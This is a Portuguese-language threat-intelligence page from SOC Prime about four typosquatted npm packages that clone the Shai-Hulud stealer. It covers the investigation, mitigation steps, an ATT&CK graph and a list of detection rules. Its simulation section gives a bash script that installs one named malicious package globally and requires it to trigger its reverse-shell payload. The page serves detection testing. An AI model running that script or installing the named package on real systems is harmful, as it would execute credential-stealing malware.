SOC Prime Bias: Crítico

20 May 2026 22:05 UTC

Clones de Shai-Hulud: Os Imitadores do TeamPCP Estão Aqui

Author Photo
SOC Prime Team linkedin icon Seguir
Clones de Shai-Hulud: Os Imitadores do TeamPCP Estão Aqui
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Pesquisadores descobriram quatro pacotes npm maliciosos que combinam funcionalidade de ladrão de informações com capacidades de negação de serviço distribuída. Esses pacotes se passam por bibliotecas populares por meio de erros de digitação e incluem o código aberto Shai-Hulud modificado para usar servidores de comando e controle controlados por atacantes. A instalação de qualquer um dos pacotes pode resultar no roubo de credenciais, na exfiltração de segredos de nuvem e, em um caso, na inscrição do host infectado em um botnet de DDoS. As descobertas destacam o crescente risco na cadeia de suprimentos dentro do ecossistema npm.

Investigação

Analistas compararam o chalk-tempalte pacote ao código fonte vazado do Shai-Hulud e descobriram que é uma cópia quase exata, não ofuscada, configurada com um endpoint de comando e controle personalizado. Os pacotes restantes transmitiram dados roubados para domínios maliciosos separados ou para um endereço IP pela porta 2222, enquanto uma variante também implementou um serviço de bot local baseado em Go usado para atividade DDoS. Todos os quatro pacotes foram publicados pela mesma conta npm, fortalecendo o vínculo entre eles.

Mitigação

As organizações devem remover imediatamente os pacotes maliciosos de quaisquer projetos e excluir artefatos de configuração associados de ambientes de desenvolvedores e sistemas de compilação. Todas as credenciais que possam ter sido expostas devem ser rotacionadas, e o acesso à rede aos domínios maliciosos identificados e ao endereço IP deve ser bloqueado. As equipes também devem monitorar dependências npm para pacotes com erros de digitação que imitam as mesmas bibliotecas legítimas.

Resposta

Defensores devem criar detecções para conexões de saída para os domínios de comando e controle identificados, alertar sobre a instalação dos quatro nomes de pacotes maliciosos, e escanear sistemas para a chave pública embutida ligada ao malware. Qualquer sistema que tenha instalado um dos pacotes deve passar por uma revisão forense para determinar se serviços persistentes, tarefas agendadas ou cargas adicionais foram implementados.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[“<b>Técnica</b> – <b>T1195.002 Compromisso da Cadeia de Fornecimento</b><br/>Comprometer a cadeia de fornecimento de software para obter acesso inicial.”] class initial_access technique automated_collection[“<b>Técnica</b> – <b>T1119 Recolha Automatizada</b><br/>Recolher credenciais, variáveis de ambiente e ficheiros de configuração na cloud automaticamente.”] class automated_collection technique creds_in_files[“<b>Técnica</b> – <b>T1552.001 Credenciais Não Protegidas</b><br/>Credenciais armazenadas em ficheiros são recolhidas.”] class creds_in_files technique private_keys[“<b>Técnica</b> – <b>T1552.004 Credenciais Não Protegidas</b><br/>Chaves privadas são extraídas de localizações inseguras.”] class private_keys technique victim_identity[“<b>Técnica</b> – <b>T1589 Recolha de Informação de Identidade da Vítima</b><br/>Recolha de identificadores pessoais da vítima.”] class victim_identity technique victim_org[“<b>Técnica</b> – <b>T1591.001 Recolha de Informação da Organização da Vítima</b><br/>Determinação de localizações físicas da organização vítima.”] class victim_org technique code_repos[“<b>Técnica</b> – <b>T1213.003 Dados de Repositórios de Informação</b><br/>Recolha de repositórios de código.”] class code_repos technique npm_persistence[“<b>Técnica</b> – <b>T1176 Extensões de Software</b><br/>Persistência via pacote npm malicioso.”] class npm_persistence technique exfil_over_http[“<b>Técnica</b> – <b>T1011 Exfiltração por Outro Meio de Rede</b><br/>Envio de dados para C2 via HTTP/HTTPS.”] class exfil_over_http technique cloud_transfer[“<b>Técnica</b> – <b>T1537 Transferência de Dados para Conta na Cloud</b><br/>Movimento de dados roubados para armazenamento na cloud.”] class cloud_transfer technique initial_access –>|leva_a| automated_collection automated_collection –>|recolhe| creds_in_files automated_collection –>|recolhe| private_keys automated_collection –>|recolhe| victim_identity automated_collection –>|recolhe| victim_org automated_collection –>|recolhe| code_repos automated_collection –>|recolhe| npm_persistence creds_in_files –>|exfiltra| exfil_over_http private_keys –>|exfiltra| exfil_over_http victim_identity –>|exfiltra| exfil_over_http victim_org –>|exfiltra| exfil_over_http code_repos –>|exfiltra| exfil_over_http npm_persistence –>|exfiltra| exfil_over_http exfil_over_http –>|armazena_em| cloud_transfer

Fluxo de Ataque

Detecções

Download de Executável Suspeito (via proxy)

Equipe SOC Prime
20 de maio de 2026

Possível Arquivo de Configuração de Tarefas Automáticas do Vscode Criado em Diretório Incomum [MACOS] (via evento de arquivo)

Equipe SOC Prime
20 de maio de 2026

Upload/Download de Arquivo Remoto via Ferramentas Padrão (via linha de comando)

Equipe SOC Prime
20 de maio de 2026

Possível Arquivo de Configuração de Tarefas Automáticas do Vscode Criado em Diretório Incomum [LINUX] (via evento de arquivo)

Equipe SOC Prime
20 de maio de 2026

Arquivo Oculto Foi Criado no Host Linux (via evento de arquivo)

Equipe SOC Prime
20 de maio de 2026

Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via evento de registro)

Equipe SOC Prime
20 de maio de 2026

Possível Uso de Schtasks ou AT para Persistência (via linha de comando)

Equipe SOC Prime
20 de maio de 2026

Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via linha de comando)

Equipe SOC Prime
20 de maio de 2026

Binário/Scripts Suspeitos em Localização de Inicialização Automática (via evento de arquivo)

Equipe SOC Prime
20 de maio de 2026

Tentativa de Comunicações com Domínio de Pesquisa de IP Possível (via dns)

Equipe SOC Prime
20 de maio de 2026

Comando e Controle Suspeito por Solicitação DNS de TLD (Domínio de Nível Superior) Incomum (via dns)

Equipe SOC Prime
20 de maio de 2026

Possível Uso de Crontab para Execução Direta (via linha de comando)

Equipe SOC Prime
20 de maio de 2026

COIs (IP de Origem) para detectar: Novos Atores Implantam Clones de Shai-Hulud: Imitadores do TeamPCP Chegaram

Regras de IA da SOC Prime
20 de maio de 2026

COIs (IP de Destino) para detectar: Novos Atores Implantam Clones de Shai-Hulud: Imitadores do TeamPCP Chegaram

Regras de IA da SOC Prime
20 de maio de 2026

Detecção de Conexões de Rede de Saída para Servidores C2 do Shai-Hulud [Firewall]

Regras de IA da SOC Prime
20 de maio de 2026

Detecção de Execução de Pacote NPM Malicioso [Criação de Processo Windows]

Regras de IA da SOC Prime
20 de maio de 2026

Detecção de Execução de Pacote npm Malicioso [Criação de Processo Linux]

Regras de IA da SOC Prime
20 de maio de 2026

Execução de Simulação

Pré-requisito: O Pré-verificação de Telemetria e Linha de Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e aimam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque e Comandos:

    1. Reconhecimento Inicial (opcional): O atacante enumera o ambiente Node.js da vítima para confirmar se npm está presente.
    2. Aquisição de Pacote Malicioso: O atacante baixa um pacote npm malicioso que imita uma utilidade legítima (por exemplo, @deadcode09284814/axios-util).
    3. Instalação e Execução: Usando uma única linha, o atacante instala o pacote globalmente e executa imediatamente uma carga de JavaScript que abre um shell reverso.
    4. Persistência (além do escopo): O atacante poderia adicionar o pacote malicioso ao package.json para uso futuro.
  • Script de Teste de Regressão: O script reproduz exatamente os passos 2‑3, gerando as cadeias de linha de comando que a regra Sigma corresponde.

    # malicious_npm_execution.sh
    # -------------------------------------------------
    # 1️⃣ Garanta que o runtime Node.js esteja presente
    if ! command -v node >/dev/null 2>&1; then
        echo "[*] Instalando Node.js e npm"
        sudo apt‑update && sudo apt‑install -y nodejs npm
    fi
    
    # 2️⃣ Instalar o pacote npm malicioso (simulado)
    #    (Substitua por um pacote malicioso real em um teste real)
    MALICIOUS_PKG="@deadcode09284814/axios-util"
    
    echo "[*] Instalando pacote malicioso: $MALICIOUS_PKG"
    npm install -g "$MALICIOUS_PKG"
    
    # 3️⃣ Execute uma carga que o pacote acompanha
    #    Aqui, simplesmente requeremos o pacote; o script postinstall
    #    do pacote executará o código do atacante.
    echo "[*] Acionando carga maliciosa"
    node -e "require('$MALICIOUS_PKG');"
    
    # 4️⃣ Opcional: Mantenha o shell ativo para observação
    sleep 30
    echo "[*] Teste concluído"
    # -------------------------------------------------
  • Comandos de Limpeza: Remover o pacote malicioso e quaisquer arquivos gerados.

    # cleanup_malicious_npm.sh
    # -------------------------------------------------
    echo "[*] Removendo pacote npm malicioso"
    npm uninstall -g "@deadcode09284814/axios-util" || true
    
    # Remova quaisquer node_modules residuais do diretório inicial
    rm -rf "$HOME/.npm/_cacache"
    echo "[*] Limpeza concluída"
    # -------------------------------------------------